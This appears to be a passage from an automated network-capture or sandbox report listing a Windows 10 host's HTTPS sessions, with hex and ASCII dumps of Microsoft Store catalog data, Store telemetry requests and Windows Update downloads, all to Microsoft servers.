6c 65 64 49 6d 61 67 65 53 48 41 32 35 36 48 61 73 68 22 3a 22 59 4c 4e 66 68 57 66 7a 4c 68 2f 4b 39 4a 71 70 4c 67 
37 7a 6e 79 48 56 67 59 4d 4f 66 34 7a 66 56 75 77 78 5a 70 61 32 6b 4e 59 3d 22 2c 22 55 72 69 22 3a 22 2f 2f 73 74 6f 
72 65 2d 69 6d 61 67 65 73 2e 73 2d 6d 69 63 72 6f 73 6f 66 
Data Ascii: dColor":"#1ed760","Caption":"","FileSizeInBytes":350683,"ForegroundColor":"","Height":768,"ImagePositionInfo
":"Desktop/2","ImagePurpose":"Screenshot","UnscaledImageSHA256Hash":"YLNfhWfzLh/K9JqpLg7znyHVgYMOf4z
fVuwxZpa2kNY=","Uri":"//store-images.s-microsof

2022-05-13 14:42:57 UTC 10636 IN Data Raw: 46 4f 22 2c 22 46 4a 22 2c 22 47 46 22 2c 22 50 46 22 2c 22 54 46 22 2c 22 47 41 22 2c 22 47 4d 22 2c 22 47 
45 22 2c 22 47 48 22 2c 22 47 49 22 2c 22 47 4c 22 2c 22 47 44 22 2c 22 47 50 22 2c 22 47 55 22 2c 22 47 47 22 2c 22 
47 4e 22 2c 22 47 57 22 2c 22 47 59 22 2c 22 48 54 22 2c 22 48 4d 22 2c 22 48 4e 22 2c 22 41 5a 22 2c 22 42 53 22 2c 
22 42 42 22 2c 22 42 59 22 2c 22 42 5a 22 2c 22 42 4a 22 2c 22 42 4d 22 2c 22 42 54 22 2c 22 4b 4d 22 2c 22 43 47 22 
2c 22 43 44 22 2c 22 43 4b 22 2c 22 43 58 22 2c 22 43 43 22 2c 22 43 49 22 2c 22 43 57 22 2c 22 4a 4d 22 2c 22 53 4a 
22 2c 22 4a 45 22 2c 22 4b 49 22 2c 22 4b 47 22 2c 22 4c 41 22 2c 22 4c 53 22 2c 22 4c 52 22 2c 22 4d 4f 22 2c 22 4d 
4b 22 2c 22 4d 47 22 2c 22 4d 57 22 2c 22 49 4d 22 2c 22 4d 48 22 2c 22 
Data Ascii: FO","FJ","GF","PF","TF","GA","GM","GE","GH","GI","GL","GD","GP","GU","GG","GN","GW","GY","HT","HM"
,"HN","AZ","BS","BB","BY","BZ","BJ","BM","BT","KM","CG","CD","CK","CX","CC","CI","CW","JM","SJ","JE","KI","KG"
,"LA","LS","LR","MO","MK","MG","MW","IM","MH","

2022-05-13 14:42:57 UTC 10640 IN Data Raw: 53 48 22 2c 22 4b 4e 22 2c 22 4c 43 22 2c 22 50 4d 22 2c 22 56 43 22 2c 22 54 4a 22 2c 22 54 5a 22 2c 22 
54 47 22 2c 22 54 4b 22 2c 22 54 4f 22 2c 22 54 4d 22 2c 22 54 43 22 2c 22 54 56 22 2c 22 55 4d 22 2c 22 55 47 22 2c 
22 56 49 22 2c 22 56 47 22 2c 22 57 46 22 2c 22 45 48 22 2c 22 5a 4d 22 2c 22 5a 57 22 2c 22 55 5a 22 2c 22 56 55 22 
2c 22 53 52 22 2c 22 53 5a 22 2c 22 41 44 22 2c 22 4d 43 22 2c 22 53 4d 22 2c 22 4d 45 22 2c 22 56 41 22 2c 22 4e 45 
55 54 52 41 4c 22 5d 7d 5d 2c 22 50 72 6f 64 75 63 74 49 64 22 3a 22 39 4e 43 42 43 53 5a 53 4a 52 53 42 22 2c 22 50 
72 6f 70 65 72 74 69 65 73 22 3a 7b 22 46 75 6c 66 69 6c 6c 6d 65 6e 74 44 61 74 61 22 3a 7b 22 50 72 6f 64 75 63 74 
49 64 22 3a 22 39 4e 43 42 43 53 5a 53 4a 52 53 42 22 2c 22 57 75 43 61 74 
Data Ascii: SH","KN","LC","PM","VC","TJ","TZ","TG","TK","TO","TM","TC","TV","UM","UG","VI","VG","WF","EH","ZM"
,"ZW","UZ","VU","SR","SZ","AD","MC","SM","ME","VA","NEUTRAL"]}],"ProductId":"9NCBCSZSJRSB","Properties":{"Fulf
illmentData":{"ProductId":"9NCBCSZSJRSB","WuCat

2022-05-13 14:42:57 UTC 10644 IN Data Raw: 63 65 61 63 35 64 33 66 2d 38 61 34 66 2d 34 30 65 31 2d 39 61 36 37 2d 37 36 64 39 31 30 38 63 37 63 62 
35 3a 46 75 6c 6c 22 5d 2c 22 4c 69 63 65 6e 73 69 6e 67 4b 65 79 49 64 73 22 3a 5b 22 31 22 5d 7d 2c 7b 22 45 6e 74 
69 74 6c 65 6d 65 6e 74 4b 65 79 73 22 3a 5b 22 62 69 67 3a 39 4e 43 42 43 53 5a 53 4a 52 53 42 3a 30 30 30 31 22 5d 
2c 22 4c 69 63 65 6e 73 69 6e 67 4b 65 79 49 64 73 22 3a 5b 22 31 22 5d 7d 2c 7b 22 45 6e 74 69 74 6c 65 6d 65 6e 74 
4b 65 79 73 22 3a 5b 22 62 69 67 3a 39 4e 43 42 43 53 5a 53 4a 52 53 42 3a 30 30 30 32 22 5d 2c 22 4c 69 63 65 6e 73 
69 6e 67 4b 65 79 49 64 73 22 3a 5b 22 31 22 5d 7d 5d 7d 2c 22 4d 61 72 6b 65 74 73 22 3a 5b 22 55 53 22 5d 2c 22 4f 
72 64 65 72 4d 61 6e 61 67 65 6d 65 6e 74 44 61 74 61 22 3a 7b 22 47 72 61 
Data Ascii: ceac5d3f-8a4f-40e1-9a67-76d9108c7cb5:Full"],"LicensingKeyIds":["1"]},{"EntitlementKeys":["big:9NCB
CSZSJRSB:0001"],"LicensingKeyIds":["1"]},{"EntitlementKeys":["big:9NCBCSZSJRSB:0002"],"LicensingKeyIds":["1"]}
]},"Markets":["US"],"OrderManagementData":{"Gra
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2022-05-13 14:42:57 UTC 10648 IN Data Raw: 22 4c 52 22 2c 22 4d 4f 22 2c 22 4d 4b 22 2c 22 4d 47 22 2c 22 4d 57 22 2c 22 49 4d 22 2c 22 4d 48 22 2c 22 
4d 51 22 2c 22 4d 55 22 2c 22 59 54 22 2c 22 46 4d 22 2c 22 4d 44 22 2c 22 4d 4e 22 2c 22 4d 53 22 2c 22 4d 5a 22 2c 
22 4d 4d 22 2c 22 4e 41 22 2c 22 4e 52 22 2c 22 4e 50 22 2c 22 4d 56 22 2c 22 4d 4c 22 2c 22 4e 43 22 2c 22 4e 49 22 
2c 22 4e 45 22 2c 22 4e 55 22 2c 22 4e 46 22 2c 22 50 57 22 2c 22 50 53 22 2c 22 50 41 22 2c 22 50 47 22 2c 22 50 59 2
2 2c 22 52 45 22 2c 22 52 57 22 2c 22 42 4c 22 2c 22 4d 46 22 2c 22 57 53 22 2c 22 53 54 22 2c 22 53 4e 22 2c 22 4d 50 
22 2c 22 50 4e 22 2c 22 53 58 22 2c 22 53 42 22 2c 22 53 4f 22 2c 22 53 43 22 2c 22 53 4c 22 2c 22 47 53 22 2c 22 53 48
22 2c 22 4b 4e 22 2c 22 4c 43 22 2c 22 50 4d 22 2c 22 56 43 22 2c 
Data Ascii: "LR","MO","MK","MG","MW","IM","MH","MQ","MU","YT","FM","MD","MN","MS","MZ","MM","NA","NR","NP","MV
","ML","NC","NI","NE","NU","NF","PW","PS","PA","PG","PY","RE","RW","BL","MF","WS","ST","SN","MP","PN","SX","SB
","SO","SC","SL","GS","SH","KN","LC","PM","VC",

2022-05-13 14:42:57 UTC 10652 IN Data Raw: 44 61 74 65 22 3a 22 32 30 32 32 2d 30 35 2d 31 33 54 30 39 3a 35 39 3a 31 38 2e 36 37 34 30 37 35 32 5a 
22 2c 22 4d 61 72 6b 65 74 73 22 3a 5b 22 55 53 22 5d 2c 22 4f 72 64 65 72 4d 61 6e 61 67 65 6d 65 6e 74 44 61 74 61 
22 3a 7b 22 47 72 61 6e 74 65 64 45 6e 74 69 74 6c 65 6d 65 6e 74 4b 65 79 73 22 3a 5b 5d 2c 22 50 72 69 63 65 22 3a 
7b 22 43 75 72 72 65 6e 63 79 43 6f 64 65 22 3a 22 55 53 44 22 2c 22 49 73 50 49 52 65 71 75 69 72 65 64 22 3a 66 61 
6c 73 65 2c 22 4c 69 73 74 50 72 69 63 65 22 3a 30 2e 30 2c 22 4d 53 52 50 22 3a 30 2e 30 2c 22 54 61 78 54 79 70 65 
22 3a 22 22 2c 22 57 68 6f 6c 65 73 61 6c 65 43 75 72 72 65 6e 63 79 43 6f 64 65 22 3a 22 22 7d 7d 2c 22 50 72 6f 70 65 
72 74 69 65 73 22 3a 7b 7d 2c 22 53 6b 75 49 64 22 3a 22 30 30 31 31 22 
Data Ascii: Date":"2022-05-13T09:59:18.6740752Z","Markets":["US"],"OrderManagementData":{"GrantedEntitlementKe
ys":[],"Price":{"CurrencyCode":"USD","IsPIRequired":false,"ListPrice":0.0,"MSRP":0.0,"TaxType":"","WholesaleCu
rrencyCode":""}},"Properties":{},"SkuId":"0011"

2022-05-13 14:42:57 UTC 10652 IN Data Raw: 30 0d 0a 0d 0a 
Data Ascii: 0

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

118 192.168.2.3 49945 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-13 14:42:57 UTC 10652 OUT GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=1
28000000001392729&tid=700342085&reqasid=90a9351948c94419823b21a4fcd3b2c1&region=US&lang=EN-
US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid
=&muid=&persid=&itemId=9WZDNCRFJ140&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&
bSrc=i.t&asid=96a00e7ca670484394eddd41299265ad&time=20220513T234213Z HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive

2022-05-13 14:42:57 UTC 10653 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: 1ac833cf-76a4-49d0-a548-8d10d8476632
Date: Fri, 13 May 2022 14:42:57 GMT
Connection: close

Session ID Source IP Source Port Destination IP
Destination
Port

Process

119 192.168.2.3 49947 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-13 14:42:58 UTC 10653 OUT GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=1
28000000001392729&tid=700342085&reqasid=90a9351948c94419823b21a4fcd3b2c1&region=US&lang=EN-
US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid
=&muid=&persid=&itemId=9NC2FBTHCJV8&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&
bSrc=i.t&asid=96a00e7ca670484394eddd41299265ad&time=20220513T234214Z HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive

2022-05-13 14:42:58 UTC 10654 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: 0a7286d2-c82e-4dc2-be08-0876afe2f706
Date: Fri, 13 May 2022 14:42:58 GMT
Connection: close

Session ID Source IP Source Port Destination IP
Destination
Port

Process

12 192.168.2.3 49714 23.211.6.115 443 C:\Program Files\Google\Chrome\Application\chrome.exe
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Timestamp
kBytes
transferred

Direction Data

2022-05-13 14:39:58 UTC 104 OUT GET /image/apps.20893.13571498826857201.00a9d390-581f-492c-b148-b2ce81649480.acc28f88-50de-4aaf-abfc-
ad1da8b04cd0?format=source HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: store-images.s-microsoft.com
Connection: Keep-Alive

2022-05-13 14:39:58 UTC 148 IN HTTP/1.1 200 OK
Cache-Control: public, max-age=7776000, s-maxage=7776000
Content-Length: 2626
Content-Type: image/png
Last-Modified: Mon, 30 Aug 2021 15:07:35 GMT
Accept-Ranges: none
ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDk2QkM3RTY2MTJGOUU"
MS-CV: 43KkWTor8EuznZWC.0
Access-Control-Expose-Headers: MS-CV
Date: Fri, 13 May 2022 14:39:58 GMT
Connection: close
Access-Control-Allow-Origin: *

2022-05-13 14:39:58 UTC 148 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 2c 00 00 01 2c 08 03 00 00 00 4e a3 7e 47 00 00 
02 d3 50 4c 54 45 1d b9 54 23 ba 58 35 c0 66 48 c6 74 54 ca 7e 5f cd 86 6a d1 8f 70 d2 93 73 d3 95 77 d5 98 75 d4 97 72 
d3 94 6e d2 91 66 cf 8b 5b cc 82 50 c8 7a 41 c4 6f 2f be 62 1e b9 55 39 c1 69 6d d1 91 99 df b1 c1 ec d0 e9 f8 ee ff ff ff fb 
fd fc db f4 e4 b2 e7 c5 8a da a6 5a cb 82 28 bc 5c af e6 c2 e7 f7 ed fd fe fd d4 f1 de 97 de b0 56 ca 7f 22 ba 58 33 bf 64 
7d d6 9d c9 ee d6 fe fe fe f3 fb f6 ae e6 c1 61 ce 87 20 ba 56 63 ce 89 bd ea cd ef fa f2 9c e0 b4 43 c4 70 2b bd 5e 86 d9 
a3 e7 f7 ec c7 ed d4 60 cd 86 2d be 60 96 de af f4 fb f6 6b d1 8f 27 bc 5c 90 dc ab d8 f3 e2 63 ce 88 e8 f8 ee c4 ec d2 44 
c5 72 42 c4 70 cc ef d8 fc fe fc 98 df b1 25 
Data Ascii: PNGIHDR,,N~GPLTET#X5fHtT~_jpswurnf[PzAo/bU9imZ(\V"X3d}a VcCp+^`-`k'\cDrBp%

Session ID Source IP Source Port Destination IP
Destination
Port

Process

120 192.168.2.3 49946 40.125.122.176 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-13 14:42:58 UTC 10654 OUT GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT
=0x30&WUA=10.0.17134.1&MK=52mu3Ytu1dbNXNh&MD=xY6EXTMt HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81
Host: sls.update.microsoft.com

2022-05-13 14:42:58 UTC 10655 IN HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: application/octet-stream
Expires: -1
Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT
ETag: "AIP0MQaCzKwF3Wv0wR/DNwKKGDF7CierFQWSKotQHD4=_1440"
MS-CorrelationId: 636a5a5a-bf2d-43d3-94a3-f5368d4b3990
MS-RequestId: ab86c2d9-eead-4948-b2b0-2da30b6a6c3c
MS-CV: 5kl4rX6h4EeUnqTs.0
X-Microsoft-SLSClientCache: 1440
Content-Disposition: attachment; filename=environment.cab
X-Content-Type-Options: nosniff
Date: Fri, 13 May 2022 14:42:57 GMT
Connection: close
Content-Length: 35877

2022-05-13 14:42:58 UTC 10655 IN Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 
00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 
00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 5
4 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 
21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 
80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 
c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b 
Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[

2022-05-13 14:42:58 UTC 10671 IN Data Raw: 2c d5 6c a1 e1 97 4f eb 44 d5 d7 31 d1 59 e6 ed 3c 5c f9 e0 bb 34 e4 d4 f6 e5 cf 75 58 d3 7b f1 91 6f 63 a0 cc 
f4 c4 a6 ab e5 3a e6 92 72 35 5d 84 ce 74 71 d7 d8 f2 ba fb 90 60 ef 04 55 ed e4 64 b9 d4 aa be 35 95 a4 1a 76 94 4a 12 
1a 5e d7 70 59 b4 d9 77 7c b8 ec c5 58 bc 81 dc c9 78 5c a5 6d e9 71 c6 e6 a6 15 ed 41 c6 a2 49 2e 32 71 f5 02 07 81 
2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 
8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa 
a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 
46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 
Data Ascii: ,lOD1Y<\4uX{oc:r5]tq`Ud5vJ^pYw|Xx\mqAI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF
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2022-05-13 14:42:58 UTC 10687 IN Data Raw: 00 00 00 15 c5 e7 6b 9e 02 9b 49 99 00 00 00 00 00 15 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 81 88 
31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 
03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 
61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 
74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 
39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 
68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 
Data Ascii: kI0*H010UUS10UWashington10URedmond10UMicrosoft Corporation1200U)Microsoft Root Certificate Authori
ty 20100210930182225Z300930183225Z0|10UUS10UWashington10URedm

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

121 192.168.2.3 49948 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-13 14:42:58 UTC 10654 OUT GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=1
28000000001392729&tid=700342085&reqasid=90a9351948c94419823b21a4fcd3b2c1&region=US&lang=EN-
US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid
=&muid=&persid=&itemId=9NBLGGH1CQ7L&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&
bSrc=i.t&asid=96a00e7ca670484394eddd41299265ad&time=20220513T234215Z HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive

2022-05-13 14:42:58 UTC 10655 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: 6b8c2bc9-9f32-4dc9-8735-d2b95e94b9b8
Date: Fri, 13 May 2022 14:42:57 GMT
Connection: close

Session ID Source IP Source Port Destination IP
Destination
Port

Process

122 192.168.2.3 49949 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-13 14:42:59 UTC 10690 OUT GET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=12
8000000001392729&tid=700342085&reqasid=90a9351948c94419823b21a4fcd3b2c1&region=US&lang=EN-
US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=
&muid=&persid=&bSrc=i.t&time=20220513T234218Z&asid=96a00e7ca670484394eddd41299265ad&eid= HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive

2022-05-13 14:42:59 UTC 10691 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: 9dbdd15a-7a8c-4276-a1dc-34054806a943
Date: Fri, 13 May 2022 14:42:59 GMT
Connection: close

Session ID Source IP Source Port Destination IP
Destination
Port

Process

123 192.168.2.3 49950 40.125.122.176 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-13 14:42:59 UTC 10691 OUT GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT
=0x30&WUA=10.0.17134.1&MK=52mu3Ytu1dbNXNh&MD=xY6EXTMt HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81
Host: sls.update.microsoft.com
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2022-05-13 14:43:00 UTC 10691 IN HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: application/octet-stream
Expires: -1
Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT
ETag: "AIP0MQaCzKwF3Wv0wR/DNwKKGDF7CierFQWSKotQHD4=_1440"
MS-CorrelationId: d90b5964-b487-4d75-9539-48a3d0e5025d
MS-RequestId: cb0377d5-3dc6-4da3-8bb1-350496cd0f69
MS-CV: 5G5UkNnttkCDVyGC.0
X-Microsoft-SLSClientCache: 1440
Content-Disposition: attachment; filename=environment.cab
X-Content-Type-Options: nosniff
Date: Fri, 13 May 2022 14:42:59 GMT
Connection: close
Content-Length: 35877

2022-05-13 14:43:00 UTC 10692 IN Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 
00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 
00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 5
4 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 
21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 
80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 
c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b 
Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[

2022-05-13 14:43:00 UTC 10707 IN Data Raw: 2c d5 6c a1 e1 97 4f eb 44 d5 d7 31 d1 59 e6 ed 3c 5c f9 e0 bb 34 e4 d4 f6 e5 cf 75 58 d3 7b f1 91 6f 63 a0 cc 
f4 c4 a6 ab e5 3a e6 92 72 35 5d 84 ce 74 71 d7 d8 f2 ba fb 90 60 ef 04 55 ed e4 64 b9 d4 aa be 35 95 a4 1a 76 94 4a 12 
1a 5e d7 70 59 b4 d9 77 7c b8 ec c5 58 bc 81 dc c9 78 5c a5 6d e9 71 c6 e6 a6 15 ed 41 c6 a2 49 2e 32 71 f5 02 07 81 
2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 
8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa 
a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 
46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 
Data Ascii: ,lOD1Y<\4uX{oc:r5]tq`Ud5vJ^pYw|Xx\mqAI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF

2022-05-13 14:43:00 UTC 10723 IN Data Raw: 00 00 00 15 c5 e7 6b 9e 02 9b 49 99 00 00 00 00 00 15 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 81 88 
31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 
03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 
61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 
74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 
39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 
68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 
Data Ascii: kI0*H010UUS10UWashington10URedmond10UMicrosoft Corporation1200U)Microsoft Root Certificate Authori
ty 20100210930182225Z300930183225Z0|10UUS10UWashington10URedm

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

124 192.168.2.3 49951 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-13 14:43:00 UTC 10727 OUT GET /v1/a/installComplete?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&c
id=128000000001392709&tid=700342084&reqasid=8ce9b9da1ac94116b168bdc7e1c8c748&region=US&lang=EN-US&oe
m=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid
=&persid=&itemId=9WZDNCRFJ3P2&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&as
id=7bec372b597946cbad28f765598f20a1&time=20220513T234225Z HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive

2022-05-13 14:43:00 UTC 10727 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: 85202945-22a1-4f85-9b1d-3ba8c5c03529
Date: Fri, 13 May 2022 14:43:00 GMT
Connection: close

Session ID Source IP Source Port Destination IP
Destination
Port

Process

125 192.168.2.3 49952 20.223.24.244 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-05-13 14:43:00 UTC 10728 OUT GET /v7.0/products/lookup?alternateId=PackageFamilyName&value=Microsoft.YourPhone_8wekyb3d8bbwe&mark
et=US&languages=en-US%2Cen%2Cneutral&fieldsTemplate=InstallAgent&moId=Public&oemId=Public&scmId=Public 
HTTP/1.1
Connection: Keep-Alive
Content-Type: application/json
User-Agent: Install Service
MS-CV: G4vVtjIdL0a31TDZ.0.2.4
Host: displaycatalog.mp.microsoft.com

2022-05-13 14:43:00 UTC 10728 IN HTTP/1.1 200 OK
Connection: close
Date: Fri, 13 May 2022 14:43:00 GMT
Content-Type: application/json; charset=utf-8
Server: Kestrel
Transfer-Encoding: chunked
Vary: Authorization
